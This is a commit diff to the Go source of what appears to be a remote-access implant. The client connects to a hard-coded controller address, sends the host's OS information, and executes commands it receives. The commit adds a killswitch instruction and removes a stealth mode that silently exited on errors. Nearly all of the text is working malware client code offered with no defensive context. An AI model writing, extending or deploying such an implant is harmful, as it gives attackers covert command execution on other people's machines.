Add killswitch

main.go

@@ -26,6 +26,7 @@ type Client struct {
 type Instructions struct {
 	IsHeartbeat  bool
 	IsCommand    bool
+	IsKillswitch bool
 	Message      string
 }
 
@@ -35,37 +36,24 @@ type Response struct {
 }
 
 var (
-	StealthMode bool = false
+	RemoteIP   = "192.168.1.181"
-	RemoteIP         = "127.0.0.1"
 	RemotePort = "1302"
 )
 
 func main() {
 	conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
 	if err != nil {
-		if StealthMode == true {
-			os.Exit(0)
-		} else {
 		log.Fatalf("Error happened connecting to server: %v\n", err)
 	}
-	}
 	defer conn.Close()
 	if err := sendOSInfo(conn); err != nil {
-		if StealthMode == true {
-			os.Exit(0)
-		} else {
 		log.Fatal(err)
 	}
-	}
 	for {
 		if err := awaitInstructions(conn); err != nil {
-			if StealthMode == true {
-				os.Exit(0)
-			} else {
 			log.Fatalf("Error happened awaiting instructions: %v\n", err)
 		}
 	}
-	}
 }
 
 func getIP() (string, error) {
@@ -138,6 +126,8 @@ func awaitInstructions(conn net.Conn) error {
 	case inst.IsCommand == true:
 		executeCommand(conn, inst.Message)
 	///////////////////////////////
+	case inst.IsKillswitch == true:
+		os.Exit(0)
 	default:
 		sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
 	}